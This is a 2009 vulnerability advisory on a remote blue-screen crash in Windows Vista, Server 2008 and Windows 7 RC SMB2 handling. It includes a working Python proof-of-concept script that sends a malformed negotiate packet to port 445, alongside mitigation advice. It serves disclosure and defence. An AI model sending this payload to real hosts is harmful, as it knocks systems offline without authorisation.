============================================= - Release date: September 7th, 2009 - Discovered by: Laurent Gaffi - Severity: High ============================================= I. VULNERABILITY ------------------------- Windows Vista, Server 2008 < R2, 7 RC : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. II. BACKGROUND ------------------------- Windows vista and newer Windows comes with a new SMB version named SMB2. See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0 for more details. III. DESCRIPTION ------------------------- [Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063) Installing only this specific update on Vista SP0 create the following issue: SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication. IV. PROOF OF CONCEPT ------------------------- Smb-Bsod.py: #!/usr/bin/python #When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket from time import sleep host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close() V. BUSINESS IMPACT ------------------------- An attacker can remotly crash any Vista/Windows 7 machine with SMB enable. Windows Xp, 2k, are NOT affected as they dont have this driver. VI. SYSTEMS AFFECTED ------------------------- [Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 < R2, Windows 7 RC. VII. SOLUTION ------------------------- No patch available for the moment. Close SMB feature and ports, until a patch is provided. Configure your firewall properly You can also follow the MS Workaround: http://www.microsoft.com/technet/security/advisory/975497.mspx VIII. REFERENCES ------------------------- http://www.microsoft.com/technet/security/advisory/975497.mspx http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx IX. CREDITS ------------------------- This vulnerability has been discovered by Laurent Gaffi Laurent.gaffie{remove-this}(at)gmail.com X. REVISION HISTORY ------------------------- September 7th, 2009: Initial release September 11th, 2009: Revision 1.0 release XI. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. XII.Personal Notes ------------------------- Many persons have suggested to update this advisory for RCE and not BSOD: It wont be done, if they find a way to execute code, they will publish them advisory.